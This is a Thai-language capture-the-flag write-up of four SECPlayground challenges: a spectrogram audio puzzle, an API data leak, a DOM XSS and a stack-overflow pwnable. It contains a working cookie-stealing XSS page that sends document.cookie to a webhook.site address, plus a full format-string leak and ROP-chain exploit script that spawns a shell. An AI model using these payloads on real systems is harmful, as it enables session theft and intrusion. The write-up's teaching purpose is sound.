SECPlayground Cyber splash 2026
printf(“hello!!”) สวัสดีครับผม Sho นี่เป็น event แรกที่ผมได้เล่น ctf ของ secplayground ซึ่งครั้งนี้เป็นธีมสงกรานต์ 🔫💦💦
โดยโจทย์ที่ผมจะนำมาแสดงวิธีทำ มีทั้งหมด 4 โจทย์ด้วยกัน อาจน้อยหน่อยนะครับ ปล.ทีมผมตื่นแต่เช้า ทำโจทย์ไปเกือบหมดเลย555555 (ทีมงานคุณภาพ)
- Spectrogram Secret 🟡 Miscellaneous
- Songkran register 🟢 Application Security
- vlogstar 🟡 Application Security
- Fortress Leak 🟡 Pwnable
(spoil: ข้อที่ 4 ผมตั้งใจเขียนมากกกก!! อ่านให้ถึงล่ะ555555)
เริ่มกันกับข้อง่ายๆ
1. Spectrogram Secret


แตกไฟล์ เราจะได้ transmission.wav จากนั้นเอาเข้า Audacity

ดูจากชื่อโจทย์ชื่อว่า “Spectrogram” เลยสันนิษฐานว่าต้องเปิดโหมด spectrogram รึเปล่า เลยลองดู

เหมือนจะเจออะไรบางอย่างคล้ายๆ flag ลางๆ ลองปรับอะไรซักหน่อย

ตอนแรกก็มองไม่ชัดมาก แต่ก็ปรับหลายๆแบบ + เดาอักษรจนได้ Flag ในที่สุด
🎉🎉 misc{7N3_h1dd73_m3ssAg3_s3ssl0n}
2. Songkran register

เปิดเว็บมาก็ register กันก่อนเลย

เราสามารถ View Profile ใครก็ได้ แต่มีคนคนนึงที่เราไม่สามารถ view ได้ ก็คือนาย Somchai Jaidee


จากนั้นเข้าไปดู view-source แล้วเจอ api จะๆ สำหรับดูข้อมูล

เลยเปิดไปที่ http://34.21.136.202:5000/api/participant/1/qr-badge

เราก็จะเจอ Flag ใน “staff_notes”
🎉🎉 web{iDaxFwXhaV}
3. vlogstar

รู้สึกเหมือนว่าข้อนี้จะเป็นข้อที่คนทำได้น้อยสุดในหมวดเว็บด้วยนะ (แอบภูมิใจ5555)
แตกไฟล์ก็จะได้ bot.js server.js และ folder “public”

ใน folder public ก็จะมีไฟล์นิดๆ


ก่อนจะดู source-code เรามาดูเว็บกันก่อน

โดยเว็บจะอนุญาตให้เราใส่ url website ลงไป แล้วบอทจะไปเปิด url ที่เราส่งไป
หวานเจี๊ยบ สันนิษฐานว่าเราอาจจะโจมตีผ่านช่อง input นี้
เราไปดู source-code กันบ้างดีกว่า จากการทำงานของ bot.js เวลาเปิด url ของเรามันก็จะสร้าง cookie ที่มี value เป็น flag ในเว็บของ labs (ก็คือ CHALLENGE_HOST นั่นเอง (localhost:3000) )


(httpOnly เป็น flase ก็หวานเจี๊ยบ เพราะมันหมายความว่า เราสามารถใช้ js อ่าน cookie ได้)
อีกอย่าง เว็บไซต์เป้าหมายเปิดรับ request จาก postMessage อีกด้วย (app.js) ถ้า content ของ request ผ่านการกรองอะไรหมดแล้วนั้น ก็จะถูกยัดเข้า OVERLAY_CONTAINER.innerHTML นั่นหมายความว่าเราสามารถยัด js เพื่อขโมยคุกกี้ได้ (DOM XSS)

โดยข้อจำกัดที่เราต้องดูคือ
- Html allowed tags

- sanitize overlay html

- data-type

สิ่งที่เราจะทำคือสร้างเว็บไซต์สำหรับขโมยคุกกี้ โดย web host ที่จะให้เว็บเรา online สามารถใช้ได้ทั้ง github หรือ vercel ได้เลย
การทำงานของเว็บที่จะไปขโมยคุกกี้ ที่เราต้องสร้างคือ
- เปิดแท็บใหม่ (ไม่ใช่ navigate เพราะถ้าเว็บเราถูกปิด JS payload ของเราจะไม่ทำงาน)
- ส่ง payload ผ่าน postMessage ไปที่ localhost:3000 เพื่อขโมยคุกกี้
- ให้ payload ส่งคุกกี้กลับมาหาเราผ่าน webhook (webhook.site)
และนี่คือเว็บที่มี payload ของเราไว้ด้วย เปิดปุ๊บคุกกี้ส่งปั๊บ5555
<!DOCTYPE html><html><head><title>RachaHacker</title></head><body> <h1>RachaHacker</h1> <script> const targetUrl = "http://localhost:3000/video.html?v=2"; const webhook = "https://webhook.site/54aa2054-094c-4d05-a576-7f7da33d4a78"; const target = window.open(targetUrl, 'exploit'); function sendPayload() { const payload = { type: 'overlay-update', content: `<img/src="x"/onerror="fetch('${webhook}?c='+encodeURIComponent(document.cookie)+'&info=pwned')">` }; // ไอ่ info=pwned เอาไว้กันเหนี่ยวเผื่อมันส่งมาแต่คุกกี้ไม่มาด้วย5555 จะได้คาดเดาปัญหาได้ง่ายขึ้น target.postMessage(JSON.stringify(payload), '*'); } setTimeout(sendPayload, 2000); setTimeout(sendPayload, 4000); fetch(webhook + "?status=rachahacker"); // ให้มันส่งมาแจ้งเตือนเฉยๆว่าบอทมัน visit แล้ว </script></body></html>payload -> bot -> (check-type) -> (content sanitizer) -> (ยัด Html เข้า DOM)
พร้อมแล้วก็ส่ง url ไปเลย และก้ jackpotttt!!!🎰🎰🎰🕺


🎉🎉 web{8rW07sakwm} 🎰🎰🎰🕺
4. Fortress Leak

สารจากฉัน: “ข้อนี้ผมไม่ได้แคปรูประหว่างทำ (หลังจากส่ง flag ตัว lab ก็จะ terminate อัตโนมัติ ทำให้กลับไปทำอีกรอบไม่ได้) writeup ข้อนี้เลยจะเป็นการเล่นกับเครื่องตัวเองเป็นหลักนะคับ
โหลดไฟล์ก่อนเลย ใน file zip ก็จะมี folder ชื่อ dist cd เข้ามาก็จะมี 4 ไฟล์

เราลองมาเล่นโปรแกรมกันก่อนละกัน

ก็เป็นโปรแกรม เก็บ/ส่งข้อความ และสามารถ preview ข้อความที่เก็บได้
ลองไปหาช่องโหว่ใน vuln.c กันบ้างดีกว่า
#include <stdio.h>#include <stdlib.h>#include <string.h>#include <unistd.h>void setup(void) { setbuf(stdout, NULL); setbuf(stdin, NULL); setbuf(stderr, NULL);}// Helper for ROP gadgets (gcc 11+ doesn't generate __libc_csu_init)void __attribute__((used)) gadgets(void) { __asm__ volatile ( "pop %rdi; ret\n" );}void menu(void) { puts("\n[1] Store message"); puts("[2] Preview message"); puts("[3] Send message"); puts("[4] Exit"); printf("> ");}void vault(void) { char msg[128]; int choice; puts("\n=== Secure Message Vault ==="); while (1) { menu(); if (scanf("%d", &choice) != 1) { while (getchar() != '\n'); continue; } getchar(); switch (choice) { case 1: { // Store message — safe read printf("Enter message: "); memset(msg, 0, sizeof(msg)); read(0, msg, 127); puts("[+] Message stored."); break; } case 2: { // Preview message — FORMAT STRING vulnerability // Bug: uses printf(msg) instead of printf("%s", msg) // Player can use %p to leak canary, PIE addresses, libc addresses if (msg[0] == '\0') { puts("[-] No message stored."); break; } puts("[*] Preview:"); printf(msg); puts(""); break; } case 3: { // Send message — BUFFER OVERFLOW // Reads up to 512 bytes into 128-byte buffer puts("[*] Preparing to send..."); printf("Enter final message: "); read(0, msg, 512); puts("[+] Message sent!"); return; } case 4: puts("[*] Goodbye."); exit(0); default: puts("[-] Invalid option."); break; } }}int main(void) { setup(); puts("========================================"); puts(" FORTRESS LEAK v4.0 "); puts(" Hardened Message Vault "); puts("========================================"); vault(); return 0;}จุดที่ 1 Format String Vulnerability
case 2: { // Preview message — FORMAT STRING vulnerability // Bug: uses printf(msg) instead of printf("%s", msg) // Player can use %p to leak canary, PIE addresses, libc addresses if (msg[0] == '\0') { puts("[-] No message stored."); break; } puts("[*] Preview:"); printf(msg); // <--- จุดนี้ puts(""); break;เราสามารถใส่ %p %p %p %p ขณะ Store Message แล้ว preview ออกมาเพื่อดูค่า leak ใน stack ,register, cannary, function (address) หรือข้อมูลสำคัญอื่นๆได้

จุดที่ 2 Buffer Overflow

case 3: { // Send message — BUFFER OVERFLOW // Reads up to 512 bytes into 128-byte buffer puts("[*] Preparing to send..."); printf("Enter final message: "); read(0, msg, 512); // <--- จุดนี้ puts("[+] Message sent!"); return; }msg ได้จองพื้นที่บน stack 128 bytes แต่ใน case 3 บอกว่ารับได้ 512 bytes ซึ่งเกินมา 384 bytes
ลอง checksec ดูว่ามี protection อะไรบ้าง

ปัญหายังมีเรื่อง Canary, PIE, ASLR + NX แต่ก็แก้ได้เพราะมี format string vulnerability
objective:
ขณะที่ยัด payload เราต้องกะ canary ให้พอดี ถ้าขาดหรือเกิน 1 byte โปรแกรมก็จะ crash
จะโจมตีแบบ ROP Chain โดยจะใส่ address ของ /bin/sh ลงไปใน register rdi (pop rdi;) จากนั้นก็ดึงค่าถัดไปจาก stack มาใส่ใน rip เพื่อให้ cpu ก็กระโดดไปทำงานที่ address นั้นต่อ (ret)
แล้วเราก็จะได้ shell 😈
ก่อนที่เราจะสร้าง payload เราต้องเข้าใจ stack กันก่อน

นี่ไงๆ ผมทำสวยมั้ยย 😎
หลักการก็คล้ายๆกับ buffer overflow เลย จัด payload ให้พร้อมแล้วส่ง จากนั้น payload ก็ไปทับส่วนต่างๆในโปรแกรม
แต่แค่แตกต่างจาก bof ปกติตรงที่ว่า มันยากกว่าเดิมมาก5555
เรามาเริ่มต้นด้วยการหาตำแหน่ง offset ของ canary, PIE, libc กันก่อนดีกว่า โดยใช้ช่องโหว่ format string vul
อันดับแรกเราจะใช้ option 1 (Store message) จากนั้นพิมพ์ไปว่า:
%1$p.%2$p.%3$p.%4$p.%5$p.%6$p.%7$p.%8$pแล้วก็ option 2 (Preview message) & enter เราก็จะได้ leak address ต่างๆมา
[*] Preview:0x7814f8a04643.(nil).0x7814f891c5a4.0xc.(ncil).0xa.0x2f8a045c0.0x2432252e70243125Question: แล้วเราจะรู้ได้ยังไงว่า address ที่ได้มาคือ canary, PIE หรือ libc
Answer: ดูจากจุดสังเกต ตามด้านล่างเลย
- canary → ลงท้ายด้วย 00 เช่น 0x40db855482f1fa00
- PIE → ขึ้นต้นด้วย 0x55 หรือ 0x56
- libc → ขึ้นต้นด้วย 0x7f
สุมุติเราส่ง %8p” (ตำแหน่ง 8) จะเรียกว่า offset
หากเราลองเอา 0x2432252e70243125 ไปแปลงเป็น ASCII เราจะได้ “1%” ซึ่งมันคือเงาสะท้อน (Endianness) ของ input ที่เราส่งไป (%1p) มันเป็นหลักฐานว่า input ของเราได้ลงไปนอนใน stack เรียบร้อย โดยอยู่ที่ตำแหน่ง (offset) ที่ 8

โอเครร เรามาหา offset กันต่อดีกว่า แต่ปัญหาก็คือเราต้องพิมพ์ตัวเลขทีละอันใน input แล้วก็ preview เรื่อยๆคงลำบาก เราเลยจะใช้ script เพื่อหา offset กัน
script:
from pwn import *context.arch = 'amd64'context.log_level = 'error'def try_offset(n): p = process('./vuln')
p.sendlineafter(b'> ', b'1') p.sendafter(b'Enter message: ', f'%{n}$p'.encode())
# preview p.sendlineafter(b'> ', b'2') p.recvuntil(b'[*] Preview:\n') leak = p.recvline().strip().decode()
p.close() return leakprint(f"{'Offset':<8} {'Value':<20} {'Note'}")print('-' * 50)for i in range(1, 40): val = try_offset(i) note = ''
if val != '(nil)' and val.startswith('0x'): v = int(val, 16) if v & 0xff == 0 and v > 0x10000000000: note = '← CANARY' elif 0x7f0000000000 <= v <= 0x7fffffffffff: if v > 0x7fff00000000: note = '← STACK addr' else: note = '← LIBC / ld addr' elif 0x5500000000 <= v <= 0x56ffffffffff: note = '← PIE addr'
print(f'%{i:<7} {val:<20} {note}')นี่คือ result
Offset Value Note--------------------------------------------------%1 0x7addb3a04643%2 (nil)%3 0x79f27451c5a4%4 0xc%5 (nil)%6 0xa%7 0x2a6e045c0%8 0x70243825%9 (nil)%10 (nil)%11 (nil)%12 (nil)%13 (nil)%14 (nil)%15 (nil)%16 (nil)%17 (nil)%18 (nil)%19 (nil)%20 (nil)%21 (nil)%22 (nil)%23 (nil)%24 0x61bd57518d80%25 0xa2453e3641d9ab00 ← CANARY%26 0x7fff2f263060 ← STACK addr%27 0x5b743d8575b3%28 0x7fff2d935980 ← STACK addr%29 0xd04fbb2e09047000 ← CANARY%30 0x7ffe577a8ab0 ← LIBC / ld addr%31 0x72594bc2a1ca%32 0x7ffe8e4ed4b0 ← LIBC / ld addr%33 0x7ffcfc45f168 ← LIBC / ld addr%34 0x1719c7040%35 0x56d6790fd552 ← PIE addr%36 0x7fff58634918 ← STACK addr%37 0x4301d2abac17658c%38 0x1%39 (nil)สะดวกขึ้นเย๊อะะะ ถ้าหากเราลองรันหลายๆรอบแล้วดู result แต่ละรอบ จะเห็นได้เลยว่าแต่ละครั้ง ค่า address จะไม่ซ้ำกันเลย (ผลของ ASLR)
จาก result ของเรา เราจะได้ offset คร่าวๆ (ไม่แม่น 100% บางค่าอาจไม่เหมือนตามจุดสังเกต ต้องอาศัยการ verify offset ว่าได้ผลหรือไม่)
# นี่คือ offset ที่ผมทดสอบแล้วได้ผลCANARY_OFFSET = 25PIE_OFFSET = 27LIBC_OFFSET = 31ถ้าจำ objective ของเราได้ เราจะโจมตีแบบ ROP Chain ซึ่งส่วนประกอบของ ROP chain payload ประกอบด้วย :
ret_gadget, # ได้จาก pie_base + RET offset <ret>pop_rdi, # ได้จาก pie_base + POP_RDI_RET offset <rop rdi>binsh_addr, # ได้จาก libc_base + next(libc.search(b"/bin/sh"))system_addr, # ได้จาก libc_base + libc.symbols["system"]ส่วนประกอบก็เยอะ เราต้องหาทีละส่วน เริ่มจากหา offset ของ <rop rdi; ret> กันก่อน โดยหา assembly ที่มีคำสั่ง <rop rdi; ret> สามารถใช้ command นี้ได้เลย
ROPgadget --binary ./vuln | grep "pop rdi ; ret"จะเห็นว่ามันจะอยู่ที่ 0x12d2

🌟 received :
ถ้าเปรียบ <pop rdi;> คือมือที่หยิบ /bin/sh ไปวางบน register rdi,
งั้นมาหา offset ของ
แต่โชคดี จากที่เราเจอ <rop rdi;> มันมี
gdb ./vulnใช้คำสั่ง info function เพื่อดู address ของ function
address ของ <pop rdi;> มันอยู่ 0x12d2 เลขที่ใกล้เคียงก็คือ function gadget ที่อยู่ address 0x12b7
(gdb) info functionAll defined functions:Non-debugging symbols:0x0000000000001000 _init0x00000000000010c0 __cxa_finalize@plt0x00000000000010d0 puts@plt0x00000000000010e0 __stack_chk_fail@plt0x00000000000010f0 setbuf@plt0x0000000000001100 printf@plt0x0000000000001110 memset@plt0x0000000000001120 read@plt0x0000000000001130 getchar@plt0x0000000000001140 __isoc99_scanf@plt0x0000000000001150 exit@plt0x0000000000001160 _start0x0000000000001190 deregister_tm_clones0x00000000000011c0 register_tm_clones0x0000000000001200 __do_global_dtors_aux0x0000000000001240 frame_dummy0x0000000000001249 setup0x00000000000012b7 gadgets0x00000000000012eb menu0x000000000000136d vault0x0000000000001552 main0x00000000000015d0 _finiพิมพ์ว่า disass gadgets เพื่อดู assembly
จะเห็นเลยว่า
(gdb) disass gadgetsDump of assembler code for function gadgets: 0x00000000000012b7 <+0>: endbr64 0x00000000000012bb <+4>: push %rbp 0x00000000000012bc <+5>: mov %rsp,%rbp 0x00000000000012bf <+8>: sub $0x10,%rsp 0x00000000000012c3 <+12>: mov %fs:0x28,%rax 0x00000000000012cc <+21>: mov %rax,-0x8(%rbp) 0x00000000000012d0 <+25>: xor %eax,%eax 0x00000000000012d2 <+27>: pop %rdi 0x00000000000012d3 <+28>: ret 0x00000000000012d4 <+29>: nop 0x00000000000012d5 <+30>: mov -0x8(%rbp),%rax 0x00000000000012d9 <+34>: sub %fs:0x28,%rax 0x00000000000012e2 <+43>: je 0x12e9 <gadgets+50> 0x00000000000012e4 <+45>: call 0x10e0 <__stack_chk_fail@plt> 0x00000000000012e9 <+50>: leave 0x00000000000012ea <+51>: ret🌟 received :
ต่อไปเรามาหาค่า PIE base กันดีกว่า (เพราะเราจะ craft ret_gadget & pop_rdi)
โดยได้จาก เอา offset ของ pie (%27$p) นำไป leak address ออกมา แล้วลบด้วย offset ของ call.*vault (ที่เรียก address มาโหลด)
ใช้คำสั่ง
objdump -d ./vuln | grep -A3 "call.*vault" 15ae: e8 ba fd ff ff call 136d <vault> 15b3: b8 00 00 00 00 mov $0x0,%eax 15b8: 48 8b 55 f8 mov -0x8(%rbp),%rdx 15bc: 64 48 2b 14 25 28 00 sub %fs:0x28,%rdxเราจะใช้ 0x15b3 เพราะ instrcution ถัดจาก call คือ offset ที่แท้จริง
pie_base = pie_leak — 0x15b3
(pie_leak คือ address ที่ได้จาก %27$p)
🌟 received : pie_base
อีกอันนึงที่สำคัญคือการหาค่า libc base ซึ่งเราก็ต้องหาค่า libc_start_offset กันก่อน
เริ่มจาก ผมจะใช้เครื่องมือ gdb ในการหา address ของ vault function
เราต้องการ offset ของ printf ใน case2 เราก็ไล่หา text ที่มีคำว่า call printf@plt ซึ่งจาก .c printf ที่เราต้องการจะอยู่ลำดับที่ 2 จาก function vault



0x00005555555554a7 <+314>: call 0x555555555100 printf@plt
และ offset ของมันคือ 314
จากนั้นสร้าง breakpoint (still in gdb na)
(gdb) break *vault+314(gdb) runStarting program: /mnt/c/Users/thiss/Desktop/secplaygroundctf/Fortress Leak/dist/vulnDownloading separate debug info for system-supplied DSO at 0x7ffff7fc3000[Thread debugging using libthread_db enabled]Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".======================================== FORTRESS LEAK v4.0 Hardened Message Vault=========================================== Secure Message Vault ===[1] Store message[2] Preview message[3] Send message[4] Exit> 1Enter message: AAAA[+] Message stored.[1] Store message[2] Preview message[3] Send message[4] Exit> 2[*] Preview:Breakpoint 1, 0x00005555555554a7 in vault ()(gdb) x/gx $rsp + (31-6)*80x7fffffffdc78: 0x00007ffff7c2a1ca(gdb) info symbol 0x00007ffff7c2a1ca__libc_start_call_main + 122 in section .text of /lib/x86_64-linux-gnu/libc.so.6(gdb) info proc mappingsprocess 16132Mapped address spaces: Start Addr End Addr Size Offset Perms objfile 0x555555554000 0x555555555000 0x1000 0x0 r--p /mnt/c/Users/thiss/Desktop/secplaygroundctf/Fortress Leak/dist/vuln 0x555555555000 0x555555556000 0x1000 0x1000 r-xp /mnt/c/Users/thiss/Desktop/secplaygroundctf/Fortress Leak/dist/vuln 0x555555556000 0x555555557000 0x1000 0x2000 r--p /mnt/c/Users/thiss/Desktop/secplaygroundctf/Fortress Leak/dist/vuln 0x555555557000 0x555555558000 0x1000 0x2000 r--p /mnt/c/Users/thiss/Desktop/secplaygroundctf/Fortress Leak/dist/vuln 0x555555558000 0x555555559000 0x1000 0x3000 rw-p /mnt/c/Users/thiss/Desktop/secplaygroundctf/Fortress Leak/dist/vuln 0x7ffff7c00000 0x7ffff7c28000 0x28000 0x0 r--p /usr/lib/x86_64-linux-gnu/libc.so.6 0x7ffff7c28000 0x7ffff7db0000 0x188000 0x28000 r-xp /usr/lib/x86_64-linux-gnu/libc.so.6 0x7ffff7db0000 0x7ffff7dff000 0x4f000 0x1b0000 r--p /usr/lib/x86_64-linux-gnu/libc.so.6 0x7ffff7dff000 0x7ffff7e03000 0x4000 0x1fe000 r--p /usr/lib/x86_64-linux-gnu/libc.so.6 0x7ffff7e03000 0x7ffff7e05000 0x2000 0x202000 rw-p /usr/lib/x86_64-linux-gnu/libc.so.6 0x7ffff7e05000 0x7ffff7e12000 0xd000 0x0 rw-p 0x7ffff7fb1000 0x7ffff7fb4000 0x3000 0x0 rw-p 0x7ffff7fbd000 0x7ffff7fbf000 0x2000 0x0 rw-p 0x7ffff7fbf000 0x7ffff7fc3000 0x4000 0x0 r--p [vvar] 0x7ffff7fc3000 0x7ffff7fc5000 0x2000 0x0 r-xp [vdso] 0x7ffff7fc5000 0x7ffff7fc6000 0x1000 0x0 r--p /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2 0x7ffff7fc6000 0x7ffff7ff1000 0x2b000 0x1000 r-xp /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2 0x7ffff7ff1000 0x7ffff7ffb000 0xa000 0x2c000 r--p /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2--Type <RET> for more, q to quit, c to continue without paging--ๆ 0x7ffff7ffb000 0x7ffff7ffd000 0x2000 0x36000 r--p /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2 0x7ffff7ffd000 0x7ffff7fff000 0x2000 0x38000 rw-p /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2 0x7ffffffde000 0x7ffffffff000 0x21000 0x0 rw-p [stack]start address objfile ของ libc.so.6 คือ 0x7ffff7c00000
จากนั้นเราจะเอา 0x7ffff7c2a1ca ลบกับ 0x7ffff7c00000
python3 -c "print(hex(0x7ffff7c2a1ca - 0x7ffff7c00000))"# จะได้ 0x2a1caFinally we got libc_start_offset = 0x2a1ca
และ libc base = libc leak address — libc_start_offset
🌟 received : libc_base
แต่เราก็มีสิ่งสำคัญอย่างนึง คือตำแหน่งของ /bin/sh และ system() ซึ่งเราจะหาจาก ./libc.so.6 ในเมื่อเรามี libc_base การหาของพวกนี้ก็ง่ายขึ้นเท่าตัว
สามารถใช้ pwntool (python library) หาเองได้ หรือเราจะหาเองก็ได้เช่นกัน
วิธีหาของ /bin/sh ใช้คำสั่ง
strings -tx ./libc.so.6 | grep "/bin/sh"result:
kira@LAPTOP-MUHREJKN:/Fortress Leak/dist$ strings -tx ./libc.so.6 | grep "/bin/sh" 1cb42f /bin/shbinsh = libc_base + 0x1cb42f
🌟 received : binsh offset
วิธีหาของ system ใช้คำสั่ง
readelf -s ./libc.so.6 | grep " system"result:
kira@LAPTOP-MUHREJKN:/Fortress Leak/dist$ readelf -s ./libc.so.6 | grep " system" 1050: 0000000000058750 45 FUNC WEAK DEFAULT 17 system@@GLIBC_2.2.5system = libc_base + 0x58750
🌟 received : system offset
ถ้าเป็น python code ก็จะประมาณนี้ ง่ายกว่าเย๊อะะ
system_addr = libc_base + libc.symbols["system"]binsh_addr = libc_base + next(libc.search(b"/bin/sh"))เรามาสรุปวัตถุดิบของเรากันดีกว่า
POP_RDI_RET = 0x12d2RET = 0x12d3
CANARY_OFFSET = 25PIE_OFFSET = 27LIBC_OFFSET = 31pie_base = pie_leak - 0x15b3libc_start_offset = 0x2a1calibc_base = lib_leak - libc_start_offsetsystem_addr = libc_base + 0x58750binsh_addr = libc_base + 0x1cb42fสิ่งที่ต้องระวังคือ ระยะห่าง bytes โดยเราจะคำนวณจากระยะของ offset
msg[0] → canary = 0x90 - 0x08 = 0x88 = 136 bytesmsg[0] → saved rbp = 0x90 + 0x00 = 0x90 = 144 bytesmsg[0] → ret addr = 0x90 + 0x08 = 0x98 = 152 bytesไม่รวม choice (int) 4 bytes นะครับ
และหน้าตา payload ของเราคร่าวๆจะได้ประมาณนี้
# paddingpayload = b"A" * 0x88 # 136 bytes# canarypayload += p64(canary) # 8 bytes = canary ที่ leak มา# fake rbppayload += b"B" * 8 # 8 bytes = fake saved rbp# จุด ROP chain ของเราpayload += p64(ret_gadget) # 8 bytes = stack alignmentpayload += p64(pop_rdi) # 8 bytes = gadgetpayload += p64(binsh_addr) # 8 bytes = "/bin/sh"payload += p64(system_addr) # 8 bytes = system()ตอนนี้เราก็พร้อม exploit กันแล้ว!!
ผมจะทิ้ง script สำหรับ exploit ให้
from pwn import *BINARY = "./vuln"LIBC = "./libc.so.6"p = process(BINARY)elf = ELF(BINARY, checksec=False)context.arch = 'amd64'try: libc = ELF(LIBC, checksec=False)except: libc = None warn("libc.so.6 not found — ต้อง set libc offset เอง")
POP_RDI_RET = 0x12d2RET = 0x12d3
CANARY_OFFSET = 25PIE_OFFSET = 27LIBC_OFFSET = 31def do_leak(): fmt = f"%{CANARY_OFFSET}$p|%{PIE_OFFSET}$p|%{LIBC_OFFSET}$p" p.sendlineafter(b"> ", str(1).encode()) p.sendafter(b"Enter message: ", fmt.encode()) p.sendlineafter(b"> ", str(2).encode()) p.recvuntil(b"[*] Preview:\n")
raw = p.recvline().decode().strip() parts = raw.split("|") canary = int(parts[0], 16) pie_leak = int(parts[1], 16) lib_leak = int(parts[2], 16)
pie_base = pie_leak - 0x15b3 libc_start_offset = 0x2a1ca libc_base = lib_leak - libc_start_offset log.success(f"Canary : {hex(canary)}") log.success(f"PIE : {hex(pie_base)}") log.success(f"libc : {hex(libc_base)}") return canary, pie_base, libc_basedef do_exploit(canary, pie_base, libc_base):
pop_rdi = pie_base + POP_RDI_RET ret_gadget = pie_base + RET if libc: system_addr = libc_base + libc.symbols["system"] binsh_addr = libc_base + next(libc.search(b"/bin/sh")) print("libc na") else: system_addr = libc_base + 0x58750 binsh_addr = libc_base + 0x1cb42f print("libc + hex") log.info(f"system() : {hex(system_addr)}") log.info(f"/bin/sh : {hex(binsh_addr)}") log.info(f"pop rdi : {hex(pop_rdi)}") padding = b"A" * 0x88 fake_rbp = b"B" * 8 rop = flat( ret_gadget, pop_rdi, binsh_addr, system_addr, ) payload = padding + p64(canary) + fake_rbp + rop p.sendlineafter(b"> ", str(3).encode()) p.sendafter(b"Enter final message: ", payload) p.recvline() # "[+] Message sent!"if __name__ == "__main__":
canary, pie_base, libc_base = do_leak() print(f"Canary: {hex(canary)}") print(f"PIE: {hex(pie_base)}") print(f"libc: {hex(libc_base)}") do_exploit(canary, pie_base, libc_base) p.interactive()จากนั้นก็รัน exploit.py เลยย

เราก็จะได้ shell ในที่สุด!!!
หากข้อมูลผิดหรือตกบกพร่องตรงไหนก็ขออภัยไว้ ณ ที่นี้ สามารถติหรือทิ้งความคิดเห็นได้นะครับ จะนำมาปรับปรุง
นี่ก็เป็นการเขียนหมวด pwn จริงๆจังๆ ครั้งแรกในเหล่าบรรดา writeup ของผมเลย
ก็ขอขอบคุณคนที่อ่านจนจบถึงจุดนี้ THANK YOUUUUU!!
